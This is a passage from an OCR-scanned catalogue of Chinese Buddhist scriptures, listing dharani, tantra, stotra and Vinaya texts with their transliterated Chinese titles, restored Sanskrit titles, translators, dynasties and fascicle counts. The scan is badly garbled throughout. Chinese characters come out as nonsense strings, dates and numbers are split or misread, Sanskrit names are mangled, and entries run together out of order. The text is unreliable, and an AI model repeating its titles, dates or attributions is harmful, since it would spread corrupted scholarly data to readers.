(Dnapla 7), A. D. 9 80-1000,of the later Sun dynasty, A. D. 9 60-1127. 9 leaves.1008lt ,; . Ag'Fo-shwo-wu-wi-tho-lo-ni-kin.Buddhabhashita-abhaya-dharanl-sttra:Translated by F-hhien, A. D. 9 82I00I, of the laterSun dynasty, A. D. 9 6o-1127. 3 leaves.1009 -roa*Tt4. taaI;ifqFo-shwo-t-wi-th-kin-lun:-fo-tin-kh'-shan-kwri-zu-lai-sio-khu-yi-tshi-tsi-nn-tho-lo-ni-kin.` Buddhabhashita-mahabalagunasuvarnakakrabuddhoshnlshatega-prabha-tathagata-sarvApadvinasa-dharan4-sttra. 'Translated under the Thin dynasty, A. D. 618-9 07;but the translator's name is lost. 3 leaves.1010ka
. ft % &^r*ftFo-shwo-kh'-sban-kwn-t-wi-th-sio-tsi-ki-sin-tho-lo-ni-kin.' Buddhabhashita-tegaprabhamahabalagunapadvinasa sri-dharani-sutra. 'Translated by Amoghavagra, A. D. 746-771, of theThin dynasty, A. D. *618-9 0. 2 leaves. This is asimilar and shorter translation of No. 1009 . K'-tsin,fasc. 13 , fol. 15 a.lollTM 'V.Fo-shwo-tin-shaft-wn-yin-Yuen-kin.'Buddhabhshita-mtrdhagta-ragravadana-sttra. 'Translated by Sh'-hu (Dnaplal), A. D. 9 80-1000,of the later Sun dynasty, A. D. 9 6o-1127. 6 fasciculi.This work exists in Tibetan. K'-yuen-lu, fase. 4,fol. 1 5 a.1012*12it 41Fo-shwo-t-shan- sui-kwn-sen-shwo- -ku-f,-kin.Buddhabhashita-mahyana-sarva . . . . sAtra. 'Sarvadharma-pravritti-nirdesa-sutra.Translated by Sho-th and others, of 'the later Sundynasty, A. D. 9 60-1127. 3 fasciculi. ' Deest in Tibetan.K'-yuen-lu, fasc. 4, fol. 17 b. According to K'-tsin(fasc. 7, fol. 6 a), this is a later translation of Nos.163 , 164.1013-3 t 9 3 VFo-shwo-t-shan-zu-khu- fo-Icin-ki-lc'-kwn-min-kwn- yen-kin.' Buddhabhshita-maha,yana-sarva . . . . stars. 'Sarvabuddhavishayvatra-g7cnloklankra--.stra.. . . .il^^^1021 14 MI 3 tuife414118AgIRO*223 STRA-PITAKA.224K'-yuen-lu, fasc. 4, fol. 16 a; Conc. 158, 57 2 ; A. R. ,P. 428; A. M. G. , p. 23 3 . Translatd by F&-hu(Dharmaraksha I), A. D. 1004-1058, and others, of thelater Sun dynasty, A. D. 9 60-1127. 5 fasciculi. Itagrees with Tibetan. K'- yuen-lu, s. v. According to(fasc. 7, fol. ii a seq. ), this is a later translationof Nos. 56, 245.BAddhabhAshita-mabgyana-ghlnaemudrtt-stltra. 'Tathagata-gana-mudra-sh. tra.K'-yuen-lu, fase. 4, fol. i6 b; Conc. 589 . Trans-lated by K'-ki-sin (GiAnasri I), A. D. 1053 , of the laterSun dynasty, A. D. 9 6o-1127. 5 fasciculi. This is alater translation of Nos. 255, 256. ,K'-yuen-lu, s. V.1015 STAM*Atfit*,-*Fo-shwo-fa-shati-i-Aigk-thi-kiii. (h)Buddhal;hashita-dharnaa-(mah4)yanArtha-viniskaya-stra:Arthaviniskaya-dharmaparyaya.K'- yuen-lu, fasc. 4, fol. i8 a; Conc. x3 9 ; A. 11,p. 476 ; A. M. G p. 27 9 . Translated by Kin-tsun-kh'.(Suvarna-db &rani ?), about A. D. 1113 , of the later Sundynasty;. A. D. 9 60-Ix 27. 3 fasciculi. It agrees withTibetan. K'-yuen-lu, s. v.1016 -10 A *-M'VIFo-shwo-tft-po-san-kai-taun-kh'-tho-16-ni-kiii.Buddhabhashita-Mahasitkapatra-dhArant-stitra. 'Sitkapatra-dharaid.Cf. K'- yuen-lu, fan. 6, fol. 4 b, where an earliertranslation made by Amoghavagra, A. D. 7 46-771, ismentioned ; Conc. 427. Translated by Tsi-nfih-min-th-li-lien-th:lo-mo-min, together with Kan-k', of the Yuendynasty, A. D. 1280-13 68. I fasciculus.1 01 7 * Fo-shwo-yi-tshi-zu-1M-kan-shih-sh-U-shafi-hhien-katt-san-mi-ti-ki&o-wait-kin.Budcihabhashita-sarvatathitgata-satya-saftgraha-maliAlitna-pratyutpannabhisambuddha-samadhi-mahfitantrarAga-stitra. 'Translated by Sh'-hu . (Dnapila I), A. D. 9 80-1000,of the later Sufi dynasty, A. D. 9 60-11 ,47. 3 o fasciculi;26 divisions. It is stated at the end that the Sanskrittext consists of 4000 slokas in verse, or an equivalentnumber of syllables in prose. It agrees with Tibetan.K'-yuen-lu, fasc. 6, fol. 3 b. The contents of No. 1017are briefly mentioned by Wassiljew, in his Buddhismus,pp. i87, i881018 -9 1%1 3 k F1 Az-fa' _E. IS td-*14SHOSarvatathagata-mabitguhyaragadbhuta-nuttaraprasasta-mah6. -mandala-stitra,. 'Translated by Thien-si-tsai, A. D. 9 80. -1001, of thelater Sun dynasty, A. D. 9 3 0-1127. 5 fasciculi ; 7chapters.1019 "Y]tar it a* )J1 1 1 41' Gta-sarvatathagata-dharmakakshu-samantapraliasamMts-mahAbala-vidattrAga-siltra. 'Translated by F-hu (Dharmaraksha 1), A. D. 1004-1058, of the later Sun dynasty, A. D. 9 6o-1127.2 fasciculi ; 21 leaves.The following two works were translated by Amogha-vagra, A. D. 746-771, of the Thn dynasty, A. D. 6 89 07 :102o1 41 1 tiPE * 4-' ,X " T.Vagrasekhara-sarvatathagata-satya-safigrahEt-mahayitna-pratyut-pannabhisambuddha-mahatantrarAga-sara:3 fasciculi. According to K'-tsin (fasc. 1, fol. 4 b),this is an earlier translation of the first division ofNo. 1017.. Irya-tArg,(?)-10. tra. 'fasciculus.1022 Sa*VNAIAT.4BuddhablAshita-yoga-mahtantrarAga. -stitra:Ifityttgala-mahitantra-mahyma-gambhira-nya-guhya-parisi-sara.K'-yuen-lu, fasc. 5, fol. 16 a; Conc. 878. Cf. A. R. ,p. 500; A. M. G. , p. 3 01. Translated by Fi-hhien,1 01 4 frlitNO;225StTRA-A. D. 9 82-1001, of the later Sun d sty, A. D. 9 60-1X27. x27. 5 fasciculi; to chapters. It ees with Tibetan.K'-yuen-lu, s. v.The following three works were translated byAmoghavagra, A. D. 746. -77x, of the Thtin dynasty,A. D. 6X8-9 07:-';1025 *neaJo, g5-f1023Yi-tsz'- Ekashara-prasasta-buddhoshntsha-stItra. 'TJainishakakravarti-tantra.K'-yuen-lu, fase. 5, fol. 13 b; Cone. 222. 3 fasciculi ;9 chapters. It agrees with Tibetan. K'-yuen-lu, s. V.There is an appendix, entitled, Yi-tsz'-tin-lun-wful-nien-sun-i-kwi, or Ekiiksharoshnishakakrarfiglidhyit-ya-kalpa: . 10 leaves.1024 4tAtePAftEkAksharoshnishalcakraraga-stitra, spoken at the BOdhlinanda.'5 fasciculi; 13 chapters. It agrees with Tibetan.K'-yuen-lu, fasc. 5, fol. Ion. According 'to K'-tsifi(fasc. i t, fol. x9 b), this is a later translation of No. 53 2.i3 odhimarula-vytila-dhrant-stltra. 'fasciculus.The following two works -were translated by Sh'-hu(Danap,la I), A. D. 9 80-1000, of the Sun dynasty, A. D.9 60-1121 :1026 g( Stltra spoken by Buddha on the secret form. 'Guhyagarbharaga.K'-yuen-1u, fasc. '5, fol. x5 a; Conc. 157, 44o. 3 fasci-culi ; 24 leaves.PITAKA. 2261 028_F! IV TS itgT-pao-kwaft-perleu-kwo-shan-ku-pi-mi-tho-lo-ni-kiii.Mahamaltiguhya-dhetrant-siltra. 'Mallimani-vipula-vimna-visva-supratishthita-guhya-parama-rahasya-kalparftga-dhkani.K'-yuen-lu, fase. 5, fol. II a; Conc. 641 ; A. R. ,p. 509 ; A. M. G. , p. 3 10. Translated by A. mogha-Vagra, A. D. 746-77x, of the Thiit dynasty, A. D. 6 18-9 07. 3 fasciculi ; 8 chapters. It agrees with Tibetan.K'-yuen-lu, s. v. According to . K'-tsi (fasc. II, fol. 3 a),this is a later translation of Nos. 53 5, 53 6. Thereis a curious plate on the first page of this work, whichillustrates the Thibetan Formula " Om mani padmehoum. " ' Beal, Catalogue, p. 64. .The following two works were translated by Sh'-hu(Dinaptda ?), A. D. 9 80-1000, of the later Sufi dynasty,A. D. 9 60-1127a T.Buddhabhfishita-guhya-sam ay a-mahatantraraga-stitra. 'Guhyasamayagarbharga.K'- yuen-iu, fasc. 5, fol. x6 a; Conc. r56, 43 9 .4 f: :ciculi ; 3 assemblies.103 0 le 'It11". 1. ; a * Oila 41. aBuddhabhAshita-asamasanAnuttarit-yoga-mahittantraraga-sittra:6 fasciculi ; 21 divisions.The above two works agree with Tibetan. K' -yuen-lu, fasc. 5, fol. 16 a.103 1 Viit4-. 14114At* writ -
10291027. :rff i4:87Buddhabhashita-sarvatathitgata-vagra-trikarmAnuttara-guhya-mahatantraraga-stitra. 'Sri-guhya-samaga-tantrarttga.K'lyuen-lu, fasc. 5, fol. 14 b; Conc. 223 ; A. R. ,p. 49 6; A. M. G-. , p. 29 9 . 7 fasciculi ; i8 divisions.It agrees with Tibetan. K'-yuen-lu, s. v.9 3 nddhabhitshita-vagrapini-bodhisattva-sarvabhAtadarnara-mahAtantrartiga-stItra. 'Sri-sarvabhettadmara-tantra.K'-yuen-lu, fasc. 5, fol. x7 b; Cone. 284.Bhhtadmara-mahatantrarAga.A. R. , p. 53 6 ; A. M. G. , p. 3 3 4 ; Conc. 284. Trans-lated by Fl-thien (Dharmadeva 7), A. D. 9 73 -9 81, ofthe later Sufi dynasty, A. D. 9 60-. 1127. 3 fasciculi.Q27. STRA- 2It agrees with Tibetan. K'-yuen-lu, s. v. For theSanskrit text, see Catalogue of the Hodgson Manu-scripts, I. 48 ; III. 3 9 ; V. 3 7.
103 2 Arya-m afigusri-satyan tima-sAtra. 'llafigusri-nama-nah-lci-till CO, or Sfttra on re-citing the true name of the AryaThus the Sanskrit title, both in transliteration andtranslation, is given at the beginning. Translated byK'-hwui (Pragfia I), of the Yuen dynasty, A. D. 128013 68. I. fasciulus. There is another work translatedby the same person and prefixed to this work, whichis entitled Shan-k-wan-shu-sh'-liti-phu-thi-sin-wan,or Axya-inafigusri-bodhi-kittotpida,lekha. ' Aprefaceis added by the Emperor KhAn-tsu, of the Mindynasty, dated A. D. 1411.103 3 4 1 41 1 T' r #84 1 N" II &'Vagrasekhaxa-yoga-buddhi (?)-pragitl(pramitli)-satra,. 'Pragparamita ardhasatikg.Translated by Vagrabeldhi, A. D. 723 -73 o, of theThAn dynasty, A. D. 618-9 07, from the Sanskrit text,while he was in Central India. 13 leaves. Deest inTibetan. K'-yuen-lu, fasc. 6, fol. 6 a.103 4t:71Mabasaukhya-vagrOanoghasatyasamaya-pragiAparamita-buddhi (1)-stitra. 'Pragfiftparamita, ardhasatika. -Translated by Amoghavagra, A. D. 746-771, of theThan dynasty, A. D. 618-9 07. 9 leaves. Deest inTibetan. K'-yuen-lu, fase. 6, fol. 9 a.According to K'-tsin (fast). 1, fol. 1 2 a seq. ), theabove two works are later translations of No. 18. Theyare similar translations of a part of No. 103 7.103 5
il9 1atVLBuddhabhshita-buddhamitriktrpragfigpramita-mahavidy-dhyanasaiigfittna-kalpa-stttra. 'Translated by Sh'-hu (Dnapala I), A. D. 9 80-1000,of the later Sufi dynasty, D. 9 60-1127. 5 leaves.It agrees with Tibetan. K'-yuen-lu, fasc. 1, fol. 19 b.228103 6 4*, PM TA* VA/Sidra on (the merit in the use of) a rosary, being (an extractfrom) the Vagrasekhara-yoga. 'Translated by Amoghavagra, A. D. 746-771, of theThan dynasty, A. D. 618-9 07. 2- leaves. It agreeswith Tibetan. K'-yuen-lu, fasc. 5, fol. i3 b.The following two works were translated by FA,-hhien, A. D. 02--roor, of the later Suii dynasty, A. D.9 60-1127:-103 7 attala*At.st41 AA nAtitIfl BuddhabhAshita-anuttaramilla-mahasaukhya-vagramogha-samaya-mahAtantrarAga-siitra:7 fasciculi ; 25 divisions. Deest in Tibetan. K'-yuen-lu, fasc. 5, fol. 16 a. There is a preface added bythe Emperor Kan-tsuii, A. D. 9 9 8-1022, of the laterSun dynasty. The contents of No. 103 7 are brieflymentioned by Wassiljew, in his Buddhismus, p. 188.1 038 f4fitbFo-shwo-teui-shbi-pi-mi-nh-n&-thien-kin.'Buddhabhashita-anuttaraguhya-nada-deva-sittra. 'Sravanaeya (0-putra-nada-gupilaya (?)-kalpa-Aga.K'-yuen-lu, fasc. 5, fol. x8 b. Cone. 78o does notrestore this Sanskrit title fully from the Chinese trans-literation given by the former authority. 3 fasciculi;
Mafffrusri-samaguhAnuttara-dhyAnamukha-mahatana-Translated by Tshz'-hhien, of the later Sufi dynasty,A. D. 9 60-1127. 5 faseiculi. Deest in Tibetan. If' -yuen-lu, fasc. 6, fol. 5. a. The contents of No. I041are briefly mentioned by Wassiljew, in his Buddhismus,p. 188.104217. ; Yt'mM
E ;ea . 2:w RI Jo rig** 14- *gsBuddhabhashita-samantagvalamala - visuddha-sphutikrita-kintamanimudri-hridayiparagita-dhirani-pratisara-inahavidykaga. -Ku-kan-yen-yio-tsi, fasc. 3 ,. fol. I / a.Mahapratisara-dharani.K'-yuen-lu, fasc. 5, fol. 13 a; Conc. 473 .Mohapratisa,ra-vidyftragg.A. R, p. 517 ; A. M. G. , p. 3 17. Translated byAmoghavagra, A. D. 746-771, of the Thin dynasty,A. D. 618-9 07. 2 fasciculi; 2 chapters. It agreeswith Tibetan. l'-lu, s. v.23 01 044 fE Ott 47 141 It* #mfwf,-,t1A. 1,t-E:vyAna-yoga-vagra-prakritisg,gara-mafi,guarl-sahasrablhu-sahasrapatratmahatantrarfiga-satra!Translated by Amoghavagra, A. D. 740, of the Thindynasty, dynasty, A. D. 618-9 . 3 7. zo fasciculi. Deest in Tibetan.K'-yuen-lu, fasc. 6, fol. 3 a. The contents of No. 1044are briefly mentioned by W-assiljew, in his Buddhismus,p. . 183 .The following two works were translated by Fi,-thien(Dharmadeva I), A. D. 9 73 -9 81, of the later Sun dynasty,A. D. 9 60-112,71 045 tonv TAFo-shwo-shall-pao-tgal-shan-i-kwi-kin.Buddhablifishita-Arya-ratnagarbharddhi-kalpa-sfltraGambhala-galendra-yathMabdha-kalpa.K'-yuen-lu, fasc. 6, fol. 1 3 a; Conc. io; A. R. ,P. 54!; A. M. G. , p. 3 3 8. In the first authoritylabdha ' is wanting, while in the last two it is readlasati ' or bhavati. ' 2 fasciculi.1046 1 0 It WRiPil INfaBuddhabBehita-ratnbljarddhi-mahAviay-mandala-kalpa-satra!fasciculi.The above two works agree with Tibetan. K'-yuen-lu, fase. 6, fol. 13 a seq.1047k th,11 I* -7-- la A4 Jt()Buddhabhshita-tathAgadicintya-guhya-mahayana-siltra:Tathagatikintya-guhya-nirdesa.Translated by 111-hu (Dharmaraksha I), A. D. 1004'058, of the later Sun dynasty, A. D. 9 60-11. 27.20 fasciculi; 25 chapters. This is a later and longertranslation of No. 23 (3 ). 1C-yuen-lu, f,c. 6,fol. 3 b.Vagrabhaya-sannipAta-vaipulya-kalpa-avalolcitesvara-bodhi-sattva-tribhvanuttarahridaya-vidy araga-sp. tra. 'Translated by. Amoghavagra, A. D. 746-771, of theThin dynasty, A. D. 618-9 07. fasciculus ; 9 chapters.It agrees with Tibetan. K'-yuen-lu, fasc. 5, fol. 13 a.Q 21055n1 :1n n
23 1STRA-PITAKA.23 21 048Midtt tita hIPIN * M fR1 41[The first twenty-two characters are exactlythe same as those of No. io47]-t-wgi-li-wu-shu-seh-mo-min-wail-kiA.'Vagrabhaya . . . vidygraga-mahabala-wu-shu-sela-mo(i. e. ushman 1)-vidyarAga. -sittra. 'Mahnalavagrakrodha-siltra(?).Conc. 66o. Cf. K'-yuen-lu, fasc. 5, fol. 9 b; A. R. ,P. 541 ; A. M. 0-. , p. 3 3 8. Translated by -kih-t-sien,of the Tha dynasty, A. D. 618-9 07. 3 fasciculi.1049 f Pit . *LW' Buddhabliashita-malayAna-dhygna-sarigiiana,maNdala-sarvadur--bhava-prasadaka-sAtra:Translated byll-hhien, A. D. 9 82-1001, of the laterSun dynasty, A. D. 9 6o-1127. 2 fasciculi ; 28 leaves.1050 *4--itAkaleitt-4$0$1..;' Buddha. bhtishita-mahavaipulya-maLgusrl. -stitra-avalokitesvara.tara-bodhisattva-kalpa-ditra. 'Translated by Amoghavagra, A. D. 746-771, of theTWAdynasty, A. D. 618-9 07. 15 leaves ; 3 chapters.* dT. 41 ItA+ A-Buddbahhg,shita-sarvabuddha-safigraha-ynktarmahitantraraga-stitra-avalokitesvara-bodhisattvadhytiya-kalpa-stitra. 'Translated by FA-hhien, A. D. 9 82-loot, of the laterSun dynasty, D. 9 60-1 1 27. Ii leaves. Deest inTibetan. K'-yuen-lu, fasc. 6, fol. 14 b.1052 Al Vitt '4`rYoga-ragrasabara-stitra-aksharamg. tiika-vyakhyl-varTranslated by Amoghavagra, A. D. 746-771, of theThAn dynasty, A. D. 618-9 07. 3 leaves. It gives acertain meaning to each letter of the Sanskrit alphabet.Deest in Tibetan. K'-yue_n-lu, fasc. 6, fol. 7 b.1053 a a -*Buddhabhashita-sarvatatbagata-pratirapapratishatt-samaya-kalpa-stdra. 'Translated by Sh'-hu (Dinapilla7), Al. D. 9 80-1000,of the later Sun dynasty, A. D. 9 60-1127. 9 leaves.It agrees with Tibetan. K'-yuen-lu, face. 6, fol. 13 a.The following two works were translated by Amogha-vagra, A. D. 746-771, of the Th6. 11 dynasty, A. D. 6189 07 :
MA* 4i. a* *'a1-Matigusri-bodhisattva-milla-tantraraga-garuda-dvigarftga-stitra. 'Garudagarbharaga.K'-yuen-lu, fane. 6, fol. 12 a, where the last characterof the Chinese title is read phin, or varga or chapter.Garudagarbhatantra.Conc. 807. Cf. Mafigusri-mala-tantra, mentioned inA. R. , p. 51 2 ; A. M. G. , p. 3 13 . 14 leaves. It agreeswith Tibetan. K'-yuen-lu, s. v. But No. 1054 is ofcourse a part or chapter of the Mafigusrl-miila-tantra.irt -46tri,. tit 41Ekad mukba-avalokitesvara-bodhisattva-hridaya-mantra(?)-adhytiya-kalpa-stItra. '3 fasciculi ; 28 leaves. It agrees with Tibetan.K'-yuen-lu, fasc. 6, fol. 8 b.1056t a lit* r th,Mahtivaipulya-bodhisattv_apitaka-mafigusri-milla-kalpa-stra. 'Bodhisattvapitakavatamsaka-maiigusri-mfda-__garbha-tantra.E8,1051 1 0Dt 1 054283St1 TRA-PITAKA:234K'-yuen-lu, fasc. 5, fol. 14 b ; Conc. 602.Magusr-mla-tantra.A. R. , p. 512; A. M. G. , p. 3 13 . Translated byThien-si-tsi, A. D. 9 80-1001, of the later Suit dynsty,A. D. 9 60-1127. 20 fasciculi; 28. chapters. It agreeswith Tibetan. K'-yuen-lu, s. v.1057 PI) 14 ' ' AI * Ott^^^^r^.
n n e n n `nV/Fo-shwo-kh'-mi. -tsli-yii-ki-t-kio-tsun-n-phu-s-t-min-kh -tsiu-i-kwi-ki. .' Buddhabhashita-tegodhara-pitaka(2)-yoga-m ahatantca-kunda(2) -bodhisattva-mah vidya-siddhi-kalpa-sfltr$'
Tshi-fo-tsn-pi-ki-tho.' Gth on the praise of the seven Buddhas (and Maitreya),'or ' Saptabuddha-stotri-gth. 'Translated' by Fa-thien (Dharmadeva i), A. D. 9 7. 3 -9 81, of the later Sufi dynasty, A. D. 9 60-1127. 3 leaves.It contains ten verses, nine of them being merelytransliterated into Chinese.1066
Fo-An-ahan-tsn.Laudatory verse on the three bodies of Buddha,' or 'Buddhatrikya-stotra. 'Translated by Fa-hhien, A. D. 9 82100I, of the laterSun dynasty, A. D. 9 60I 127. 2 laves. The threebodies of Buddha are : 1. Dharma=kya, 2. Sambhoga-kya, 3 . Nirmarta-kya. See Eitel, Handbook ofChinese Buddhism, p. 148 b, s. v. Trikya.1067 1. `AFo-yi-pi-$-min-tsn-kin. Buddha-nmshtaaataka-stotra-sutra. 'Translated by Fa-thien (Dharmadeva , A. D. 9 73-9 9 1 , of the later Sun dynasty, A. D. 9 6o-1127. . 3 leaves.The above three works are mentioned under theheading of the Works of the Indian Sages, in K'-yuen-lu, fasc. 1o, fol. 5 a seq.1068Mt j-'-7Shan-kiu-tu-fo-mu-'rh-shi-yi-kn-li-tsn-kin.' rya-trta-buddhamtrika-vimsati-puga-stotra-sutra. 'Translated by In Tsai, of the Yuen dynasty, A. D.128o-13 68. 4 leaves. There are two Mantras, writtenin the Devanagari character, and transliterated intoChinese.The following two works were translated by Sh'-hu(Danapala 1), A. D. 9 80-1000, of the later Sun dynasty,A. D. 9 60I127 :-1069 SR Mtn *Fo-shwo-yi-tsbi-zu-li-tiff-1n-w-yi-pi-p-mini-tsri-kin.' Bddhabhshita-sarvatathgatoshntshakakra-namashtasataka-stotra-sutra. '2 leaves. Deest in Tibetan. . K'-yuen-7 u, fas. 6,fol. 17 a. There are two appendices, both being Im-perial compositions, though the Emperots' names arenot given, namely : 1. Laudatory verses in honourof ' Trata-buddhamtrika (I),' and z. Those of BuddhaSakyamuni:1070aTsn-f-ki-su.Dharmadhtu-stotra.Composed by the Bodhisattva Nagarguna. It consistsof 87 verses.The following two works were transliterated by F-hhien, A. D. 9 82- 1001, of the later Sun dynasty, A. D.9 60-1127:1 071 *^^P-t-lin-th-fan-tsn.' Laudatory verse in Sanskrit . on the eight great auspicious. aityas,' or ' Ashta-mah-srt-kaitya-samskrita-stotra. 'Composed .by King Siladitya. 2 leaves.1072 Sn-shan-fin-tsn.Laudatory verse in Sanskrit on the three bodies (of Buddha),'or ' Trikya-samskrita-stotra;5 leaves.1073 ^^ :: 0$ /z PINFo-shwo-wan-shu-sh'- li-yi-pi-p-mi-fn-tsn.Buddhabhshita-maiigusrt-namshtasataka-samskrita-stotra. 'Translated by Fa-hhien, A. D. 9 82-1001, of the laterSurf dynasty, A. D. 9 6o-1127. 5 leaves. There arenineteen verses transliterated into Chinese, while afew others are translated. An Imperial compositionis prefixed, namely : Laudatory verses in honour ofMagusrl. The author is the Emperor Thi-tsun,i. e. Khai- tsu, A. D. 1403 --1424, of the Min dynasty.The above four works are mentioned under theheading of the Works of the Indian Sages, in K'-=Yuen-lu, fasc. . I o, fol. 5 a seq. , where the first twocharacters in the Chinese title of No. 1073 are of courseleft out.The following two works were transliterated by Fa-hhien, A. D. 9 82I00I, of the later Sun dynasty, A. D.9 60-1127:^^ ^IilOtt VtMn-shu-shih-li-phu-s^ki-sin-ki-tho.i Magu^ rt-bodhisattva-srt-gth. '2 leaves.107423 7StTRX-PITAKA, 23 81075 /
* ^'- . ^. ^Ai1 -1 It fit_Shad-kin-ktui-sheu-phu-sa-yip-pi-p-mitt-fn-tsn.'rya-vagrapani-bodhisattva-nd,msheasataka- ^ amskrita-stotra. '5 leaves. Deest in Tibetan. Jr-Yuen-lu, fasc. 6,fol. I7 a.1076 vriShad-kwn=t^ z'-tsi-phu-s-kuii-th-tsn.rya-avalokitesvara-bodhisattva-guna-stotra:Collected by a Western or Indian sage; and trans-lated by Sh'-hu (Dnapla I), A. D. 9 80-1000, of thelater Sun dynasty, A. D. 9 60-1127. 5 leaves; 184 lines.Two Imprial compositions are prefixed, both writtenby the Emperor Thi-tsun, i. e. Khn-tsu, A. D. 1403 -1424, of the Min dynasty. They are both laudatoryverses in honour of the Bodhisattva Avalkit svara.1077 Iffl^ttTen-kwn-shi-yin-phu- ^ -suit.` Avalokiteavara-bodhisattva-stotra. 'Translated by Hwui-k', A. D. 69 2, of the Thin dynasty,A. D. 618-9 07. 5 leaves.1078o a. *
MFo-shwo-shali-kwn-tsz'-tsi-phu-si=fan-tsl.'. B uddhabh shita-rya-avalokiteavara-b odhisattva-samskrita-stotra. 'Translated by F-thien (Dharmadeva4), A. D. 9 73 -g8 1, 'of the later Sun dynasty, A. D. 9 60-1127. 3 leaves.There are eight verses transliterated into Chinese,while only another one is translated.1079 ;pShaft-to-lo-phu-s-fn-tsn.rya-tr-bodhisattva-sarmskrita-stotra. 'Transliterated by Si'-hu (Dnapla ?), A. D. 9 80-r000, of the later Sun dynasty, A. D. 9 6o-1127.8 leaves.1080^r^it A - it' Fifty verses on the law or rules for serving a teacher. 'Composed by the Bodhisattva Asvaghosha ; andtranslated by Zih-khan, A. D. 1004-1058, of the laterSun dynasty, A. D. 9 6o-1I27. 4 leaves.1081
Kien-khui-fin-tsan. .' Gharnti(k ?)-samskrita-stotra. 'Ghanti-stra (?).A. R. , p. 486; A. M. G. , p. 289 . Transliterated byF-thien (Dharmadeva I), A. D. 9 73 -9 81, of the laterSun dynasty, A. D. 9 60-1127. To leaves.The above six works are mentioned under the head-ing . of the Works of the Indian Sages, in . K'-yuen-lu,fasc. 1 0, fol. 2 h seq. , where the first two characters in,the Chinese title of No. 1078 are of course left out,SECOND DIVISION.Lh-t^ r, or Vinaya-pitaka.PART I.Di-shaft-1a, or the Vinaya of the Mahyna.The following two works were translated by auna-varman, A. D. 43 1, of the earlier Surf dynast, A. D.420-479 :,. ^^1082^'r^^^rt^ 'Fo-shwo-phu-s&-ni-ki-ki.Sutra spoken by Buddha on the internal Bila of the Bodhisattva.'1 fascicu1083 ,,r
it Phu-s-yiu-pho-s-wu-ki-wi-i-kiii.Sutra on the manners concerning the five Silas of the Bodhi-sattva-upsaka.'Spoken by the Bodhisattva . Maitreya. i fasciculus.The' above two works are wanting in Tibetan.K'-yuen-lu, fasc. 8, fol. 8 b. For No. 1o83 , see, how-ever, Nos. 109 6, 1o9 8, and 1170.1084 VDw ' Offi 7%11 ii"Fo-shwo-wan-shu-sh'-li-tsi-lh-loft.' Buddhabhtshita-magusri-suddhavinaya-sutra.Paramrthasamvarti (-varia ?)-satyanirdesanf ma-mahyna-sh. tra.K'-Yuen-lu, fasc. _'8, fol. 9 a ; Conc. 8o9 . Translated'by Ku Fi-hu (Dharmaraksha), A. D. 289 , of the WesternTsin dynasty, A. D. 265-3 1 6. i fasciculus . ; 4' chapters.It agrees with Tibetan. K'-yuen-lu, s. v.1085* A 4Phu-s&-shn-ki-ki1i.r Bodhisattva-bhadrasila-^ utra.'Bodhisattva-kary-ni,rdesa.A. R. , p. 452 ; A, M. (1. , p. 2 57 ; , Conc. 476, 487.Translated by Gunavarman, A. D. 43 1, of the earlierSuri dynasty, A. D. 420-479 . 10 fasciculi ; 3 o chapters.The first chapter is similar to N. 3 6. The rest issimilar to the fifteenth part on the Bodhisattva-bhiimiin the first division of No. 1170. No. i o 85 is the Sfltraon which 'the Bodhisattva Maitreya spoke No. 117o.K'- tsili, fasc. 3 2, fol. 3 a.108x-Phu-s-ti-kh'-kifi. -Bo dhisattva-bhtl midhara-sutra.'Bodhisattva-kary-nirdesa.Conc. 488. Spoken by the Bodhisattva Maitreya. .Translated by Dharmaraksha, A. D. 414-421, of theNorthern Li& dynasty, A. D. 3 9 7-43 9 8 fasciculi;27 chapters. This work is similar to No. o85. Bt,according to K'- tsi (fasc. 3 7, fol. 1 4-b), No. o86 isan earlier translation of the fifteenth part on the Bodhi-sattva-bhflmi in the first division of No. 117o. Thelast character of the Chinese title is sometimes readlun or sstra. Khi-yuen-lu, fasc. I 2 b, fol, ' i 2 a.The above two works are wanting in Tibetan.K'-yuen-lu, fasc. 8, fol. 6 b. For No. Io86, see, however,No. 1 1 70.1087.Fn-w-kit. ,Brahmagla-se tra.Cf. A. R. , p. 483 ; A. M. G. , p. 286 ; Come. 142.Translated by Kumragiva, A. D. 406, of the LatterTshin dynasty, A. D. 3 84-417. 2 fasciculi. It is statedin the preface by Saii-ko, the disciple of the translator,that this work is the tenth chapter on the Bodhisattva-hridayabhimi, in a Sanskrit text, consisting of 12of = ciculi, 61 chapters.
Tsi-thiao-yin-su-wan-kin.' Munivinayasvara (ldevaputra)-paripri/ckla-stitra. 'Paramirthasamvarti(-vartal)-satyanirdesanarna-mahayina-Atra.Cf. No. 1084. Translated by of the earlierSun dynasty, A. D. 420-479 . t fasoiculua. This is alater translation of No. 1084. K'- yuen-lu, fase. 8,fol. . 9 b.1089 ,Pii 110. .241VINAYA-FITAKA.2421088 POgATOKYiu-pho-s6-ki&kin. Upasaka-sila-siltra:Translated by Dharmaraksha, A. D. 428, of theNorthern Li dynasty, A. D. 3 9 7-43 9 . 7 fasciculi ;28 chapters.The above two works are wanting in Tibetan. K'yuen-lu, fasc. 8, fol. 7 b.109 0 *MC1Mahaybina-titr i-kshamit (? confession)-sittralKarmvarana-pratisarana (or -pratikkhedana).K'- yuen-lu, fasc. 8, fol. 9 b; Conc. 585; A. R. ,p. 458 ; A. M. G. , p. 262.Triskandhaka.Conc. 585. Translated by G ianagupta and Dharma-gupta, about A. D. 59 0, of the Sui dynasty, A. D. 589 -;818. t fasciculus. It agrees with Tibetan. K'-yuen-lu, s. v. -109 1 1ftr IIFo-shwo-wan-shu-kfivui-kwo-kift.BuddhablAshita-maftgusri-kshama (? confession)-stltra:Translated by Ku F -hu (Dharmaraksha), A. D. 266-3 3 3 ,_ Of the Western Tain dynasty, A. D. 265-3 16.faseiculus.109 2. b. . "
